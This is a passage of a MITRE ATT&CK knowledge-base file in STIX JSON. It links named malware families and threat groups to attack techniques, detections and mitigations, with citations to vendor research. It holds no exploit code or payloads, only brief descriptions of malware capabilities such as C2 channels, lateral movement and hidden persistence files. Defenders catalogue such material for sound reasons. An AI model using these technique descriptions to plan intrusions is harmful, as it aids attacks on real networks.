"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2fdc9078-0737-4b2c-bb6c-f046b63c368b", "type": "relationship", "created": "2020-11-19T17:01:57.288Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}], "modified": "2020-11-19T17:01:57.288Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify the installed antivirus engine.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2fe54d3f-0ac2-4579-8e78-81dc11b6386e", "created": "2022-08-07T15:38:42.598Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AuTo Stealer](https://attack.mitre.org/software/S1029) can use TCP to communicate with command and control servers.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Regin", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}], "modified": "2020-06-29T01:54:53.453Z", "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including HTTP and HTTPS.(Citation: Kaspersky Regin)", "relationship_type": "uses", "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2fededb7-e713-495c-a317-919c037434a8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. 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(2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}, {"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}, {"source_name": "McAfee Dianxun March 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", "description": "Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. 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[njRAT](https://attack.mitre.org/software/S0385) can also detect any removable drives connected to the system.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3018ef54-d98c-4958-bc31-dc6b45b67a05", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}], "modified": "2020-09-02T18:46:32.600Z", "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses <code>netstat -ano</code> to search for specific IP address ranges.(Citation: RATANKBA)", "relationship_type": "uses", "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--301de16e-3829-4fb0-b217-dcdfca7398c9", "type": "relationship", "created": "2017-05-31T21:33:27.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant Operation Ke3chang November 2014", "description": "Villeneuve, N., Bennett, J. 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Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--303ff42e-09fa-49ab-9fa3-420aedb090dc", "created": "2023-02-14T18:24:05.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T22:44:32.941Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can retrieve the following information from an infected machine: OS, architecture, computer name, OS build version, environment variables, and storage drives.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30496669-0d01-4855-b566-6d5bfd9c97c1", "type": "relationship", "created": "2021-04-26T20:02:14.115Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. 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(2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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(2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Tomiris](https://attack.mitre.org/software/S0671) can use HTTP to establish C2 communications.(Citation: Kaspersky Tomiris Sep 2021)", "modified": "2022-04-16T18:49:29.089Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3056fa10-d4a3-4830-96b7-987b10b5ae70", "type": "relationship", "created": "2020-09-24T14:35:41.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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Webshell](https://attack.mitre.org/software/S0598) has the ability to modify file permissions.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--306ab1b7-4926-43ae-8989-b0dde2a43111", "type": "relationship", "created": "2021-09-23T12:33:47.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}], "modified": "2021-09-23T12:33:47.122Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has attempted to run Darkside ransomware with the filename sleep.exe.(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--306eba85-eeb9-4fcb-8b23-ce38b09bbf24", "type": "relationship", "created": "2021-03-17T15:54:31.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Debian nbtscan Nov 2019", "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."}, {"source_name": "SecTools nbtscan June 2003", "url": "https://sectools.org/tool/nbtscan/", "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}], "modified": "2021-03-17T15:54:31.029Z", "description": "[NBTscan](https://attack.mitre.org/software/S0590) can dump and print whole packet content.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t", "relationship_type": "uses", "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3074f3bd-5a30-4ad2-9a2c-45b1573a454e", "type": "relationship", "created": "2021-02-23T20:50:33.352Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Conficker", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm", "description": "Burton, K. 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Retrieved February 18, 2021."}], "modified": "2021-10-14T16:53:14.446Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) uses the current UTC victim system date for domain generation and connects to time servers to determine the current date.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3076f49e-0db2-4652-a07d-653027aeef1e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}], "modified": "2020-03-11T17:45:33.752Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a process list from the victim.(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3077e0e6-4540-4f0d-a2ec-c4db78a35a0e", "created": "2022-08-08T19:59:41.091Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[POLONIUM](https://attack.mitre.org/groups/G1005) has exfiltrated stolen data to [POLONIUM](https://attack.mitre.org/groups/G1005)-owned OneDrive and Dropbox accounts.(Citation: Microsoft POLONIUM June 2022) ", "modified": "2022-08-08T19:59:41.091Z", "relationship_type": "uses", "source_ref": "intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3078d200-79f5-41d1-a0db-afe1501d650a", "type": "relationship", "created": "2019-04-23T18:41:37.108Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/", "source_name": "CoinTicker 2019"}], "modified": "2019-04-29T21:19:34.971Z", "description": "[CoinTicker](https://attack.mitre.org/software/S0369) downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.[random string]/[random string].(Citation: CoinTicker 2019)", "relationship_type": "uses", "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--307ae6b5-b4ea-4ef2-bc99-544dbb31cb45", "created": "2024-02-08T01:14:39.989Z", "revoked": false, "external_references": [{"source_name": "NCSC-NL COATHANGER Feb 2024", "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). 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Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.775Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used the post exploitation tool [CrackMapExec](https://attack.mitre.org/software/S0488) to enumerate network shares.(Citation: BitDefender Chafer May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--307f4aac-212f-4c81-9764-d0acf7ca0e55", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", "source_name": "Symantec Thrip June 2018"}], "modified": "2019-03-25T17:06:37.201Z", "description": "[Thrip](https://attack.mitre.org/groups/G0076) used PsExec to move laterally between computers on the victim\u2019s network.(Citation: Symantec Thrip June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3086bfc5-96b1-4768-a243-a82da7155728", "type": "relationship", "created": "2021-07-20T02:48:25.324Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. 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Retrieved June 24, 2021."}], "modified": "2021-09-20T17:42:18.952Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent [JavaScript](https://attack.mitre.org/techniques/T1059/007) scripts from executing potentially malicious downloaded content (Citation: win10_asr).", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3089fe6b-36d6-4890-b70b-1a76f55c84ff", "type": "relationship", "created": "2020-05-21T14:55:00.182Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.182Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has encrypted traffic with the C2 to prevent network detection.(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30930d8a-3c0d-41b2-a226-cccc56599bfd", "type": "relationship", "created": "2019-04-24T21:06:37.114Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Emotet Dec 2017", "url": "https://support.malwarebytes.com/docs/DOC-2295", "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."}], "modified": "2020-03-16T18:39:02.603Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) can brute force a local admin password, then use it to facilitate lateral movement.(Citation: Malwarebytes Emotet Dec 2017)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", "source_name": "\u00dcberwachung APT28 Forfiles June 2015"}, {"url": "https://www.justice.gov/file/1080281/download", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "source_name": "DOJ GRU Indictment Jul 2018"}], "modified": "2020-08-04T20:56:21.125Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Forfiles](https://attack.mitre.org/software/S0193) to locate PDF, Excel, and Word documents during collection. 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Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[DDKONG](https://attack.mitre.org/software/S0255) decodes an embedded configuration using XOR.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--309c4a23-21dd-41fa-9e0c-ce5c730455fe", "created": "2024-02-12T21:20:57.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}, {"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T21:32:05.643Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) queries system locale information during execution.(Citation: Ensilo Darkgate 2018) Later versions of [DarkGate](https://attack.mitre.org/software/S1111) query <code>GetSystemDefaultLCID</code> for locale information to determine if the malware is executing in Russian-speaking countries.(Citation: Trellix Darkgate 2023)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--30a29f1a-41ec-4cf2-8d47-07c03c2d96e0", "created": "2023-08-24T17:23:37.162Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-24T17:23:37.162Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30a465fc-955e-4688-9349-daf17a287c47", "type": "relationship", "created": "2021-03-01T21:23:22.826Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. 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Retrieved June 4, 2019."}, {"source_name": "Citizen Lab Group5", "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. 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Retrieved July 15, 2020."}], "modified": "2020-08-03T15:17:32.038Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has exfiltrated data via HTTP to already established C2 servers.(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30c22798-520c-40cc-b53f-352a1c0a4940", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). 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Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Dragos Crashoverride 2018)", "modified": "2022-06-30T20:19:13.566Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30c5a160-c42d-4bee-bcc6-b85f083136d7", "type": "relationship", "created": "2020-03-18T20:19:35.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). 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Retrieved September 